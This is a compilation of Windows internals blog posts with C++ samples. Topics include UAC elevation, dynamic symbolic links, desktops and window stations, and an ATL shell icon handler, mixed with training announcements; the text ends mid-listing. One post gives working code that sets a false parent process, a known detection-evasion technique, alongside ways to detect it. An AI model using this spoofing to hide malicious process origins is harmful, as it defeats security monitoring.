The canonical example is when a process is launched elevated (for example, by right-clicking it in Explorer and selecting “Run as Administrator”. Here is a diagram showing the major components in an elevation procedure:

First, the user right-clicks in Explorer and asks to run some App.Exe elevated. Explorer calls ShellExecute(Ex) with the verb “runas” that requests this elevation. Next, The AppInfo service is contacted to perform the operation if possible. It launches consent.exe, which shows the Yes/No message box (for true administrators) or a username/password dialog to get an admin’s approval for the elevation. Assuming this is granted, the AppInfo service calls CreateProcessAsUser to launch the App.exe elevated. To maintain the illusion that Explorer created App.exe, it stores the parent ID of Explorer into App.exe‘s new process management block. This makes it look as if Explorer had created App.exe, but is not really what happened. However, that “re-parenting” is probably a good idea in this case, giving the user the expected result.

Is it possible to specify a different parent when creating a process with CreateProcess?

It is indeed possible by using a process attribute. Here is a function that does just that (with minimal error handling):

bool CreateProcessWithParent(DWORD parentId, PWSTR commandline) {
    auto hProcess = ::OpenProcess(PROCESS_CREATE_PROCESS, FALSE, parentId);
    if (!hProcess)
        return false;

    SIZE_T size;
    //
    // call InitializeProcThreadAttributeList twice
    // first, get required size
    //
    ::InitializeProcThreadAttributeList(nullptr, 1, 0, &size);

    //
    // now allocate a buffer with the required size and call again
    //
    auto buffer = std::make_unique<BYTE[]>(size);
    auto attributes = reinterpret_cast<PPROC_THREAD_ATTRIBUTE_LIST>(buffer.get());
    ::InitializeProcThreadAttributeList(attributes, 1, 0, &size);

    //
    // add the parent attribute
    //
    ::UpdateProcThreadAttribute(attributes, 0, 
        PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, 
        &hProcess, sizeof(hProcess), nullptr, nullptr);

    STARTUPINFOEX si = { sizeof(si) };
    //
    // set the attribute list
    //
    si.lpAttributeList = attributes;
    PROCESS_INFORMATION pi;

    //
    // create the process
    //
    BOOL created = ::CreateProcess(nullptr, commandline, nullptr, nullptr, 
        FALSE, EXTENDED_STARTUPINFO_PRESENT, nullptr, nullptr, 
        (STARTUPINFO*)&si, &pi);

    //
    // cleanup
    //
    ::CloseHandle(hProcess);
    ::DeleteProcThreadAttributeList(attributes);

    return created;
}

The first step is to open a handle to the “prospected” parent by calling OpenProcess with the PROCESS_CREATE_PROCESS access mask. This means you cannot choose an arbitrary process, you must have at least that access to the process. Protected (and protected light) processes, for example, cannot be used as parents in this way, as PROCESS_CREATE_PROCESS cannot be obtained for such processes.

Next, an attribute list is created with a single attribute of type PROC_THREAD_ATTRIBUTE_PARENT_PROCESS by calling InitializeProcThreadAttributeList followed by UpdateProcThreadAttribute to set up the parent handle. Finally, CreateProcess is called with the extended STARTUPINFOEX structure where the attribute list is stored. CreateProcess must know about the extended version by specifying EXTENDED_STARTUPINFO_PRESENT in its flags argument.

Here is an example where Excel supposedly created Notepad (it really didn’t). The “real” process creator is nowhere to be found.

The obvious question perhaps is whether there is any way to know which process was the real creator?

The only way that seems to be available is for kernel drivers that register for process creation notifications with PsSetCreateProcessNotifyRoutineEx (or one of its variants). When such a notification is invoked in the driver, the following structure is provided:

typedef struct _PS_CREATE_NOTIFY_INFO {
  SIZE_T              Size;
  union {
    ULONG Flags;
    struct {
      ULONG FileOpenNameAvailable : 1;
      ULONG IsSubsystemProcess : 1;
      ULONG Reserved : 30;
    };
  };
  HANDLE              ParentProcessId;
  CLIENT_ID           CreatingThreadId;
  struct _FILE_OBJECT *FileObject;
  PCUNICODE_STRING    ImageFileName;
  PCUNICODE_STRING    CommandLine;
  NTSTATUS            CreationStatus;
} PS_CREATE_NOTIFY_INFO, *PPS_CREATE_NOTIFY_INFO;

On the one hand, there is the ParentProcessId member (although it’s typed as HANDLE, it actually the parent process ID). This is the parent process as set by CreateProcess based on the code snippet in CreateProcessWithParent.

However, there is also the CreatingThreadId member of type CLIENT_ID, which is a small structure containing a process and thread IDs. This is the real creator. In most cases it’s going to have the same process ID as ParentProcessId, but not in the case where a different parent has been specified.

After this point, that information goes away, leaving only the parent ID, as it’s the one stored in the EPROCESS kernel structure of the child process.

Update: (thanks to @jdu2600)

The creator is available by listening to the process create ETW event, where the creator is the one raising the event. Here is a snapshot from my own ProcMonXv2:

I am announcing the next Windows Internals remote training to be held in July 2021 on the 12, 14, 15, 19, 21. Times: 11am to 7pm, London time.

The syllabus can be found here (slight changes are possible if new important topics come up).

Cost and Registration

I’m keeping the cost of these training classes relatively low. This is to make these classes accessible to more people, especially in these unusual and challenging times.

Cost: 800 USD if paid by an individual, 1500 USD if paid by a company. Multiple participants from the same company are entitled to a discount (email me for the details). Previous students of my classes are entitled to a 10% discount.

To register, send an email to [email protected] and specify “Windows Internals Training” in the title. The email should include your name, contact email, and company name (if any).

Later this year I plan a Windows Kernel Programming class. Stay tuned!

As usual, if you have any questions, feel free to send me an email, or DM me on twitter (@zodiacon) or Linkedin (https://www.linkedin.com/in/pavely/).

While teaching a Windows Internals class recently, I came across a situation which looked like a bug to me, but turned out to be something I didn’t know about – dynamic symbolic links.

Symbolic links are Windows kernel objects that point to another object. The weird situation in question was when running WinObj from Sysinternals and navigating to the KenrelObjects object manager directory.

You’ll notice some symbolic link objects that look weird: MemoryErrors, PhysicalMemoryChange, HighMemoryCondition, LowMemoryCondition and a few others. The weird thing that is fairly obvious is that these symbolic link objects have empty targets. Double-clicking any one of them confirms no target, and also shows a curious zero handles, as well as quota change of zero:

To add to the confusion, searching for any of them with Process Explorer yields something like this:

It seems these objects are events, and not symbolic links!

My first instinct was that there is a bug in WinObj (I rewrote it recently for Sysinternals, so was certain I introduced a bug). I ran an old WinObj version, but the result was the same. I tried other tools with similar functionality, and still got the same results. Maybe a bug in Process Explorer? Let’s see in the kernel debugger:

lkd> !object 0xFFFF988110EC0C20
Object: ffff988110ec0c20  Type: (ffff988110efb400) Event
    ObjectHeader: ffff988110ec0bf0 (new version)
    HandleCount: 4  PointerCount: 117418
    Directory Object: ffff828b10689530  Name: HighCommitCondition

Definitely an event and not a symbolic link. What’s going on? I debugged it in WinObj, and indeed the reported object type is a symbolic link. Maybe it’s a bug in the NtQueryDirectoryObject used to query a directory object for an object.

I asked Mark Russinovich, could there be a bug in Windows? Mark remembered that this is not a bug, but a feature of symbolic links, where objects can be created/resolved dynamically when accessing the symbolic link. Let’s see if we can see something in the debugger:

lkd> !object \kernelobjects\highmemorycondition
Object: ffff828b10659510  Type: (ffff988110e9ba60) SymbolicLink
    ObjectHeader: ffff828b106594e0 (new version)
    HandleCount: 0  PointerCount: 1
    Directory Object: ffff828b10656ce0  Name: HighMemoryCondition
    Flags: 0x000010 ( Local )
    Target String is '*** target string unavailable ***'

Clearly, there is target, but notice the flags value 0x10. This is the flag indicating the symbolic link is a dynamic one. To get further information, we need to look at the object with a “symbolic link lenses” by using the data structure the kernel uses to represent symbolic links:

lkd> dt nt!_OBJECT_SYMBOLIC_LINK ffff828b10659510

   +0x000 CreationTime     : _LARGE_INTEGER 0x01d73d87`21bd21e5
   +0x008 LinkTarget       : _UNICODE_STRING "--- memory read error at address 0x00000000`00000005 ---"
   +0x008 Callback         : 0xfffff802`08512250     long  nt!MiResolveMemoryEvent+0

   +0x010 CallbackContext  : 0x00000000`00000005 Void
   +0x018 DosDeviceDriveIndex : 0
   +0x01c Flags            : 0x10
   +0x020 AccessMask       : 0x24

The Callback member shows the function that is being called (MiResolveMemoryEvent) that “resolves” the symbolic link to the relevant event. There are currently 11 such events, their names visible with the following:

lkd> dx (nt!_UNICODE_STRING*)&nt!MiMemoryEventNames,11
(nt!_UNICODE_STRING*)&nt!MiMemoryEventNames,11                 : 0xfffff80207e02e90 [Type: _UNICODE_STRING *]
    [0]              : "\KernelObjects\LowPagedPoolCondition" [Type: _UNICODE_STRING]
    [1]              : "\KernelObjects\HighPagedPoolCondition" [Type: _UNICODE_STRING]
    [2]              : "\KernelObjects\LowNonPagedPoolCondition" [Type: _UNICODE_STRING]
    [3]              : "\KernelObjects\HighNonPagedPoolCondition" [Type: _UNICODE_STRING]
    [4]              : "\KernelObjects\LowMemoryCondition" [Type: _UNICODE_STRING]
    [5]              : "\KernelObjects\HighMemoryCondition" [Type: _UNICODE_STRING]
    [6]              : "\KernelObjects\LowCommitCondition" [Type: _UNICODE_STRING]
    [7]              : "\KernelObjects\HighCommitCondition" [Type: _UNICODE_STRING]
    [8]              : "\KernelObjects\MaximumCommitCondition" [Type: _UNICODE_STRING]
    [9]              : "\KernelObjects\MemoryErrors" [Type: _UNICODE_STRING]
    [10]             : "\KernelObjects\PhysicalMemoryChange" [Type: _UNICODE_STRING]

Creating dynamic symbolic links is only possible from kernel mode, of course, and is undocumented anyway.

At least the conundrum is solved.

Today I’m announcing the next public remote Windows Kernel Programming training. This is a 5-day training scheduled for October: 4, 5, 7, 11, 13. Times: 12pm to 8pm, London Time.

The syllabus can be found here. It may be slightly modified by the time the class starts, but not by much. This is a development-heavy course, so be prepared to write lots of code!

Cost: 800 USD if paid by an individual, 1500 USD if paid by a company. Previous participants of the my classes get 10% discount. Multiple participants from the same company are entitled to a discount (email me for the details).

To register, send an email to [email protected] and specify “Windows Kernel Programming Training” in the title. The email should include your name, preferred email for communication, and company name (if any).

The training sessions will be recorded and provided to the participants.

Please read carefully the pre-requisites for this class. You should especially be comfortable coding in C (any C++ used in the class will be explained). In case of any doubt, talk to me.
If you have any questions, feel free to shoot me an email, or DM me on twitter (@zodiacon) or Linkedin (https://www.linkedin.com/in/pavely/).

The relationship between processes and threads is fairly well known – a process contains one or more threads, running within the process, using process wide resources, like handles and address space.

Where do windows (those usually-rectangular elements, not the OS) come into the picture?

The relationship between a process, its threads, and windows, along with desktop and Window Stations, can be summarized in the following figure:

A window is created by a thread, and that thread is designated as the owner of the window. The creating thread becomes a UI thread (if it’s the first User/GDI call it makes), getting a message queue (provided internally by Win32k.sys in the kernel). Every occurrence in the created window causes a message to be placed in the message queue of the owner thread. This means that if a thread creates 100 windows, it’s responsible for all these windows.

“Responsible” here means that the thread must perform something known as “message pumping” – pulling messages from its message queue and processing them. Failure to do that processing would lead to the infamous “Not Responding” scenario, where all the windows created by that thread become non-responsive. Normally, a thread can read its own message queue only – other threads can’t do it for that thread – this is a single threaded UI scheme used by the Windows OS by default. The simplest message pump would look something like this:

MSG msg;
while(::GetMessage(&msg, nullptr, 0, 0)) {
    ::TranslateMessage(&msg);
    ::DispatchMessage(&msg);
}

The call to GetMessage does not return until there is a message in the queue (filling up the MSG structure), or the WM_QUIT message has been retrieved, causing GetMessage to return FALSE and the loop exited. WM_QUIT is the message typically used to signal an application to close. Here is the MSG structure definition:

typedef struct tagMSG {
  HWND   hwnd;
  UINT   message;
  WPARAM wParam;
  LPARAM lParam;
  DWORD  time;
  POINT  pt;
} MSG, *PMSG;

Once a message has been retrieved, the important call is to DispatchMessage, that looks at the window handle in the message (hwnd) and looks up the window class that this window instance is a member of, and there, finally, the window procedure – the callback to invoke for messages destined to these kinds of windows – is invoked, handling the message as appropriate or passing it along to default processing by calling DefWindowProc. (I may expand on that if there is interest in a separate post).

You can enumerate the windows owned by a thread by calling EnumThreadWindows. Let’s see an example that uses the Toolhelp API to enumerate all processes and threads in the system, and lists the windows created (owned) by each thread (if any).

We’ll start by creating a snapshot of all processes and threads (error handling mostly omitted for clarity):

#include <Windows.h>
#include <TlHelp32.h>
#include <unordered_map>
#include <string>

int main() {
	auto hSnapshot = ::CreateToolhelp32Snapshot(
        TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD, 0);

We’ll build a map of process IDs to names for easy lookup later on when we show details of a process:

PROCESSENTRY32 pe;
pe.dwSize = sizeof(pe);

// we can skip the idle process
::Process32First(hSnapshot, &pe);

std::unordered_map<DWORD, std::wstring> processes;
processes.reserve(500);

while (::Process32Next(hSnapshot, &pe)) {
	processes.insert({ pe.th32ProcessID, pe.szExeFile });
}

Now we loop through all the threads, calling EnumThreadWindows and showing the results:

THREADENTRY32 te;
te.dwSize = sizeof(te);
::Thread32First(hSnapshot, &te);

static int count = 0;

struct Data {
	DWORD Tid;
	DWORD Pid;
	PCWSTR Name;
};
do {
	if (te.th32OwnerProcessID <= 4) {
		// idle and system processes have no windows
		continue;
	}
	Data d{ 
        te.th32ThreadID, te.th32OwnerProcessID, 
        processes.at(te.th32OwnerProcessID).c_str() 
    };
	::EnumThreadWindows(te.th32ThreadID, [](auto hWnd, auto param) {
		count++;
		WCHAR text[128], className[32];
		auto data = reinterpret_cast<Data*>(param);
		int textLen = ::GetWindowText(hWnd, text, _countof(text));
		int classLen = ::GetClassName(hWnd, className, _countof(className));
		printf("TID: %6u PID: %6u (%ws) HWND: 0x%p [%ws] %ws\n",
			data->Tid, data->Pid, data->Name, hWnd,
			classLen == 0 ? L"" : className,
			textLen == 0 ? L"" : text);
		return TRUE;	// bring in the next window
		}, reinterpret_cast<LPARAM>(&d));
} while (::Thread32Next(hSnapshot, &te));
printf("Total windows: %d\n", count);

EnumThreadWindows requires the thread ID to look at, and a callback that receives a window handle and whatever was passed in as the last argument. Returning TRUE causes the callback to be invoked with the next window until the window list for that thread is complete. It’s possible to return FALSE to terminate the enumeration early.

I’m using a lambda function here, but only a non-capturing lambda can be converted to a C function pointer, so the param value is used to provide context for the lambda, with a Data instance having the thread ID, its process ID, and the process name.

The call to GetClassName returns the name of the window class, or type of window, if you will. This is similar to the relationship between objects and classes in object orientation. For example, all buttons have the class name “button”. Of course, the windows enumerated are only top level windows (have no parent) – child windows are not included. It is possible to enumerate child windows by calling EnumChildWindows.

Going the other way around – from a window handle to its owner thread and *its* owner process is possible with GetWindowThreadProcessId.

Desktops

A window is placed on a desktop, and is bound to it. More precisely, a thread is bound to a desktop once it creates its first window (or has any hook installed with SetWindowsHookEx). Before that happens, a thread can attach itself to a desktop by calling SetThreadDesktop.

Normally, a thread will use the “default” desktop, which is where a logged in user sees his or her windows appearing. It is possible to create additional desktops using the CreateDesktop API. A classic example is the desktops Sysinternals tool. See my post on desktops and windows stations for more information.

It’s possible to redirect a new process to use a different desktop (and optionally a window station) as part of the CreateProcess call. The STARTUPINFO structure has a member named lpDesktop that can be set to a string with the format “WindowStationName\DesktopName” or simply “DesktopName” to keep the parent’s window station. This could look something like this:

STARTUPINFO si = { sizeof(si) };
// WinSta0 is the interactive window station
WCHAR desktop[] = L"Winsta0\\MyOtherDesktop";
si.lpDesktop = desktop;
PROCESS_INFORMATION pi;
::CreateProcess(..., &si, &pi);

“WinSta0” is always the name of the interactive Window Station (one of its desktops can be visible to the user).

The following example creates 3 desktops and launches notepad in the default desktop and the other desktops:

void LaunchInDesktops() {
	HDESK hDesktop[4] = { ::GetThreadDesktop(::GetCurrentThreadId()) };
	for (int i = 1; i <= 3; i++) {
		hDesktop[i] = ::CreateDesktop(
			(L"Desktop" + std::to_wstring(i)).c_str(),
			nullptr, nullptr, 0, GENERIC_ALL, nullptr);
	}
	STARTUPINFO si = { sizeof(si) };
	WCHAR name[32];
	si.lpDesktop = name;
	DWORD len;
	PROCESS_INFORMATION pi;
	for (auto h : hDesktop) {
		::GetUserObjectInformation(h, UOI_NAME, name, sizeof(name), &len);
		WCHAR pname[] = L"notepad";
		if (::CreateProcess(nullptr, pname, nullptr, nullptr, FALSE,
			0, nullptr, nullptr, &si, &pi)) {
			printf("Process created: %u\n", pi.dwProcessId);
			::CloseHandle(pi.hProcess);
			::CloseHandle(pi.hThread);
		}
	}
}

If yoy run the above function, you’ll see one Notepad window on your desktop. If you dig deeper, you’ll find 4 notepad.exe processes in Task Manager. The other three have created their windows in different desktops. Task Manager gives no indication of that, nor does the process list in Process Explorer. However, we see a hint in the list of handles of these “other” notepad processes. Here is one:

Curiously enough, desktop objects are not stored as part of the kernel’s Object Manager namespace. If you double-click the handle, copy its address, and look it up in the kernel debugger, this is the result:

lkd> !object 0xFFFFAC8C12035530
Object: ffffac8c12035530  Type: (ffffac8c0f2fdbc0) Desktop
    ObjectHeader: ffffac8c12035500 (new version)
    HandleCount: 1  PointerCount: 32701
    Directory Object: 00000000  Name: Desktop1

Notice the directory object address is zero – it’s not part of any directory. It has meaning in the context of its containing Window Station.

You might think that we can use the EnumThreadWindows as demonstrated at the beginning of this post to locate the other notepad windows. Unfortunately, access is restricted and those notepad windows are not listed (more on that possibly in a future post).

We can try a different approach by using yet another enumration function – EnumDesktopWindows. Given a powerful enough desktop handle, we can enumerate all top level windows in that desktop:

void ListDesktopWindows(HDESK hDesktop) {
	::EnumDesktopWindows(hDesktop, [](auto hWnd, auto) {
		WCHAR text[128], className[32];
		int textLen = ::GetWindowText(hWnd, text, _countof(text));
		int classLen = ::GetClassName(hWnd, className, _countof(className));
		DWORD pid;
		auto tid = ::GetWindowThreadProcessId(hWnd, &pid);
		printf("TID: %6u PID: %6u HWND: 0x%p [%ws] %ws\n",
			tid, pid, hWnd, 
			classLen == 0 ? L"" : className,
			textLen == 0 ? L"" : text);
		return TRUE;
		}, 0);
}

The lambda body is very similar to the one we’ve seen earlier. The difference is that we start with a window handle with no thread ID. But it’s fairly easy to get the owner thread and process with GetWindowThreadProcessId. Here is one way to invoke this function:

auto hDesktop = ::OpenDesktop(L"Desktop1", 0, FALSE, DESKTOP_ENUMERATE);
ListDesktopWindows(hDesktop);

Here is the resulting output:

TID:   3716 PID:  23048 HWND: 0x0000000000192B26 [Touch Tooltip Window] Tooltip
TID:   3716 PID:  23048 HWND: 0x0000000001971B1A [UAC_InputIndicatorOverlayWnd]
TID:   3716 PID:  23048 HWND: 0x00000000002827F2 [UAC Input Indicator]
TID:   3716 PID:  23048 HWND: 0x0000000000142B82 [CiceroUIWndFrame] CiceroUIWndFrame
TID:   3716 PID:  23048 HWND: 0x0000000000032C7A [CiceroUIWndFrame] TF_FloatingLangBar_WndTitle
TID:  51360 PID:  23048 HWND: 0x0000000000032CD4 [Notepad] Untitled - Notepad
TID:   3716 PID:  23048 HWND: 0x0000000000032C8E [CicLoaderWndClass]
TID:  51360 PID:  23048 HWND: 0x0000000000202C62 [IME] Default IME
TID:  51360 PID:  23048 HWND: 0x0000000000032C96 [MSCTFIME UI] MSCTFIME UI

A Notepad window is clearly there. We can repeat the same exercise with the other two desktops, which I have named “Desktop2” and “Desktop3”.

Can we view and interact with these “other” notepads? The SwitchDesktop API exists for that purpose. Given a desktop handle with the DESKTOP_SWITCHDESKTOP access, SwitchDesktop changes the input desktop to the requested desktop, so that input devices redirect to that desktop. This is exactly how the Sysinternals Desktops tool works. I’ll leave the interested reader to try this out.

Window Stations

The last piece of the puzzle is a Window Station. I assume you’ve read my earlier post and understand the basics of Window Stations.

A Thread can be associated with a desktop. A process is associated with a window station, with the constraint being that any desktop used by a thread must be within the process’ window station. In other words, a process cannot use one window station and any one of its threads using a desktop that belongs to a different window station.

A process is associated with a window station upon creation – the one specified in the STARTUPINFO structure or the creator’s window station if not specified. Still, a process can associate itself with a different window station by calling SetProcessWindowStation. The constraint is that the provided window station must be part of the current session. There is one window station per session named “WinSta0”, called the interactive window station. One of its desktop can be the input desktop and have user interaction. All other window stations are non-interactive by definition, which is perfectly fine for processes that don’t require any user interface. In return, they get better isolation, because a window station contains its own set of desktops, its own clipboard and its own atom table. Windows handles, by the way, have Window Station scope.

Just like desktops, window stations can be created by calling CreateWindowStation. Window stations can be enumerated as well (in the current session) with EnumerateWindowStations.

Summary

This discussion of threads, processes, desktops, and window stations is not complete, but hopefully gives you a good idea of how things work. I may elaborate on some advanced aspects of Windows UI system in future posts.

Today I’m announcing a new training – COM (Component Object Model) Programming, to be held in November.

COM is a well established technology, debuted back in 1993, and is still very much in use. In fact, the Windows Runtime is based on an enhanced version of COM. There is quite a bit of confusion and misconceptions about COM, which is one reason I decided to offer this class.

The syllabus for the 3 day class can be found here. This is the first time I will be offering this class, and also will try a new format: 6 half-days instead of 3 full days.

When: November: 8, 9, 10, 11, 15, 16. 2pm to 6pm, UT. (Technically it’s more than 3 days, as with a full day there is a lunch break not present in half days). The class will be conducted remotely using Microsoft Teams or a similar platform.

What you need to know before the class: You should be comfortable using Windows on a Power User level. Concepts such as processes, threads, DLLs, and virtual memory should be understood fairly well. You should have experience writing code in C and some C++. You don’t have to be an expert, but you must know C and basic C++ to get the most out of the class. In case you have doubts, talk to me.

Obviously, participants in my Windows Internals and (especially) Windows System Programming classes have the required knowledge for the class.

We’ll start by looking at why COM was created in the first place, and then build clients and servers, digging into various mechanisms COM provides. See the syllabus for more details.

Registration will be different than previous classes:
Early bird (paid by September 30th): 500 USD (if paid by an individual), 1100 USD (if paid by a company).
Normal (paid after September 30th): 700 USD (if paid by an individual), 1300 USD (if paid by a company).

To register, send an email to [email protected] with the title “COM Training”, and write the name(s), email(s) and time zone(s) of the participants. Multiple participants from the same company get a discount. Previous participants (individuals) of my classes get 10% off. I will reply with further instructions.

I hope to see you in November!

I am announcing the next 5 day Windows Internals remote training to be held in January 2022, starting on the 24th according to the followng schedule:

• Jan 24 – 2pm to 10pm (all times are based on London time)
• Jan 25, 26, 27 – 2pm to 6pm
• Jan 31 – 2pm to 10pm
• Feb 1, 2, 3 – 2pm to 6pm

The syllabus can be found here (slight changes are possible if new important topics come up).

Cost and Registration

I’m keeping the cost of these training classes relatively low. This is to make these classes accessible to more people, especially in these unusual and challenging times.

Cost: 800 USD if paid by an individual, 1500 USD if paid by a company. Multiple participants from the same company are entitled to a discount (email me for the details). Previous students of my classes are entitled to a 10% discount.

To register, send an email to [email protected] and specify “Windows Internals Training” in the title. The email should include your name, contact email, time zone, and company name (if any).

As usual, if you have any questions, feel free to send me an email, or DM me on twitter (@zodiacon) or Linkedin (https://www.linkedin.com/in/pavely/).

One of the exercises I gave at the recent COM Programming class was to build an Icon Handler that integrates with the Windows Shell, where DLLs should have an icon based on their “bitness” – whether they’re 64-bit or 32-bit Portable Executable (PE).

The Shell provides many opportunities for extensibility. An Icon Handler is one of the simplest, but still requires writing a full-fledged COM component that implements certain interfaces that the shell expects. Here is the result of using the Icon Handler DLL, showing the folders c:\Windows\System32 and c:\Windows\SysWow64 (large icons for easier visibility).

Let’s see how to build such an icon handler. The full code is at zodiacon/DllIconHandler.

The first step is to create a new ATL project in Visual Studio. I’ll be using Visual Studio 2022, but any recent version would work essentially the same way (e.g. VS 2019, or 2017). Locate the ATL project type by searching in the terrible new project dialog introduced in VS 2019 and still horrible in VS 2022.

ATL (Active Template Library) is certainly not the only way to build COM components. “Pure” C++ would work as well, but ATL provides all the COM boilerplate such as the required exported functions, class factories, IUnknown implementations, etc. Since ATL is fairly “old”, it lacks the elegance of other libraries such as WRL and WinRT, as it doesn’t take advantage of C++11 and later features. Still, ATL has withstood the test of time, is robust, and full featured when it comes to COM, something I can’t say for these other alternatives.

If you can’t locate the ATL project, you may not have ATL installed propertly. Make sure the C++ Desktop development workload is installed using the Visual Studio Installer.

Click Next and select a project name and location:

Click Create to launch the ATL project wizard. Leave all defaults (Dynamic Link Library) and click OK. Shell extensions of all kinds must be DLLs, as these are loaded by Explorer.exe. It’s not ideal in terms of Explorer’s stability, as aun unhandled exception can bring down the entire process, but this is necessary to get good performance, as no inter-process calls are made.

Two projects are created, named DllIconHandler and DllIconHandlerPS. The latter is a proxy/stub DLL that maybe useful if cross-apartment COM calls are made. This is not needed for shell extensions, so the PS project should simply be removed from the solution.

A detailed discussion of COM is way beyond the scope of this post.

The remaining project contains the COM DLL required code, such as the mandatory exported function, DllGetClassObject, and the other optional but recommended exports (DllRegisterServer, DllUnregisterServer, DllCanUnloadNow and DllInstall). This is one of the nice benefits of working with ATL project for COM component development: all the COM boilerplate is implemented by ATL.

The next step is to add a COM class that will implement our icon handler. Again, we’ll turn to a wizard provided by Visual Studio that provides the fundamentals. Right-click the project and select Add Item… (don’t select Add Class as it’s not good enough). Select the ATL node on the left and ATL Simple Object on the right. Set the name to something like IconHandler:

Click Add. The ATL New Object wizard opens up. The name typed in the Add New Item dialog is used as a basis for generating names for source code elements (like the C++ class) and COM elements (that would be written into the IDL file and the resulting type library). Since we’re not going to define a new interface (we need to implement explorer-defined interfaces), there is no real need to tweak anything. You can click Finish to generate the class.

Three files are added with this last step: IconHandler.h, IconHandler.cpp and IconHandler.rgs. The C++ source files role is obvious – implementing the Icon Handler. The rgs file contains a script in an ATL-provided “language” indicating what information to write to the Registry when this DLL is registered (and what to remove if it’s unregistered).

The IDL (Interface Definition Language) file has also been modified, adding the definitions of the wizard generated interface (which we don’t need) and the coclass. We’ll leave the IDL alone, as we do need it to generate the type library of our component because the ATL registration code uses it internally.

If you look in IconHandler.h, you’ll see that the class implements the IIconHandler empty interface generated by the wizard that we don’t need. It even derives from IDispatch:

class ATL_NO_VTABLE CIconHandler :
	public CComObjectRootEx<CComSingleThreadModel>,
	public CComCoClass<CIconHandler, &CLSID_IconHandler>,
	public IDispatchImpl<IIconHandler, &IID_IIconHandler, &LIBID_DLLIconHandlerLib, /*wMajor =*/ 1, /*wMinor =*/ 0> {

We can leave the IDispatchImpl-inheritance, since it’s harmless. But it’s useless as well, so let’s delete it and also delete the interfaces IIconHandler and IDispatch from the interface map located further down:

class ATL_NO_VTABLE CIconHandler :
	public CComObjectRootEx<CComSingleThreadModel>,
	public CComCoClass<CIconHandler, &CLSID_IconHandler> {
public:
	BEGIN_COM_MAP(CIconHandler)
	END_COM_MAP()

(I have rearranged the code a bit). Now we need to add the interfaces we truly have to implement for an icon handler: IPersistFile and IExtractIcon. To get their definitions, we’ll add an #include for <shlobj_core.h> (this is documented in MSDN). We add the interfaces to the inheritance hierarchy, the COM interface map, and use the Visual Studio feature to add the interface members for us by right-clicking the class name (CIconHandler), pressing Ctrl+. (dot) and selecting Implement all pure virtuals of CIconHandler. The resulting class header looks something like this (some parts omitted for clarity) (I have removed the virtual keyword as it’s inherited and doesn’t have to be specified in derived types):

class ATL_NO_VTABLE CIconHandler :
	public CComObjectRootEx<CComSingleThreadModel>,
	public CComCoClass<CIconHandler, &CLSID_IconHandler>,
	public IPersistFile,
	public IExtractIcon {
public:
	BEGIN_COM_MAP(CIconHandler)
		COM_INTERFACE_ENTRY(IPersistFile)
		COM_INTERFACE_ENTRY(IExtractIcon)
	END_COM_MAP()

//...
	// Inherited via IPersistFile
	HRESULT __stdcall GetClassID(CLSID* pClassID) override;
	HRESULT __stdcall IsDirty(void) override;
	HRESULT __stdcall Load(LPCOLESTR pszFileName, DWORD dwMode) override;
	HRESULT __stdcall Save(LPCOLESTR pszFileName, BOOL fRemember) override;
	HRESULT __stdcall SaveCompleted(LPCOLESTR pszFileName) override;
	HRESULT __stdcall GetCurFile(LPOLESTR* ppszFileName) override;

	// Inherited via IExtractIconW
	HRESULT __stdcall GetIconLocation(UINT uFlags, PWSTR pszIconFile, UINT cchMax, int* piIndex, UINT* pwFlags) override;
	HRESULT __stdcall Extract(PCWSTR pszFile, UINT nIconIndex, HICON* phiconLarge, HICON* phiconSmall, UINT nIconSize) override;
};

Now for the implementation. The IPersistFile interface seems non-trivial, but fortunately we just need to implement the Load method for an icon handler. This is where we get the file name we need to inspect. To check whether a DLL is 64 or 32 bit, we’ll add a simple enumeration and a helper function to the CIconHandler class:

	enum class ModuleBitness {
		Unknown,
		Bit32,
		Bit64
	};
	static ModuleBitness GetModuleBitness(PCWSTR path);

The implementation of IPersistFile::Load looks something like this:

HRESULT __stdcall CIconHandler::Load(LPCOLESTR pszFileName, DWORD dwMode) {
    ATLTRACE(L"CIconHandler::Load %s\n", pszFileName);

    m_Bitness = GetModuleBitness(pszFileName);
    return S_OK;
}

The method receives the full path of the DLL we need to examine. How do we know that only DLL files will be delivered? This has to do with the registration we’ll make for the icon handler. We’ll register it for DLL file extensions only, so that other file types will not be provided. Calling GetModuleBitness (shown later) performs the real work of determining the DLL’s bitness and stores the result in m_Bitness (a data member of type ModuleBitness).

All that’s left to do is tell explorer which icon to use. This is the role of IExtractIcon. The Extract method can be used to provide an icon handle directly, which is useful if the icon is “dynamic” – perhaps generated by different means in each case. In this example, we just need to return one of two icons which have been added as resources to the project (you can find those in the project source code. This is also an opportunity to provide your own icons).

For our case, it’s enough to return S_FALSE from Extract that causes explorer to use the information returned from GetIconLocation. Here is its implementation:

HRESULT __stdcall CIconHandler::GetIconLocation(UINT uFlags, PWSTR pszIconFile, UINT cchMax, int* piIndex, UINT* pwFlags) {
    if (s_ModulePath[0] == 0) {
        ::GetModuleFileName(_AtlBaseModule.GetModuleInstance(), 
            s_ModulePath, _countof(s_ModulePath));
        ATLTRACE(L"Module path: %s\n", s_ModulePath);
    }
    if (s_ModulePath[0] == 0)
        return S_FALSE;

    if (m_Bitness == ModuleBitness::Unknown)
        return S_FALSE;

    wcscpy_s(pszIconFile, wcslen(s_ModulePath) + 1, s_ModulePath);
    ATLTRACE(L"CIconHandler::GetIconLocation: %s bitness: %d\n", 
        pszIconFile, m_Bitness);
    *piIndex = m_Bitness == ModuleBitness::Bit32 ? 0 : 1;
    *pwFlags = GIL_PERINSTANCE;

    return S_OK;
}

The method’s purpose is to return the current (our icon handler DLL) module’s path and the icon index to use. This information is enough for explorer to load the icon itself from the resources. First, we get the module path to where our DLL has been installed. Since this doesn’t change, it’s only retrieved once (with GetModuleFileName) and stored in a static variable (s_ModulePath).

If this fails (unlikely) or the bitness could not be determined (maybe the file was not a PE at all, but just had such an extension), then we return S_FALSE. This tells explorer to use the default icon for the file type (DLL). Otherwise, we store 0 or 1 in piIndex, based on the IDs of the icons (0 corresponds to the lower of the IDs).

Finally, we need to set a flag inside pwFlags to indicate to explorer that this icon extraction is required for every file (GIL_PERINSTANCE). Otherwise, explorer calls IExtractIcon just once for any DLL file, which is the opposite of what we want.

The final piece of the puzzle (in terms of code) is how to determine whether a PE is 64 or 32 bit. This is not the point of this post, as any custom algorithm can be used to provide different icons for different files of the same type. For completeness, here is the code with comments:

CIconHandler::ModuleBitness CIconHandler::GetModuleBitness(PCWSTR path) {
    auto bitness = ModuleBitness::Unknown;
    //
    // open the DLL as a data file
    //
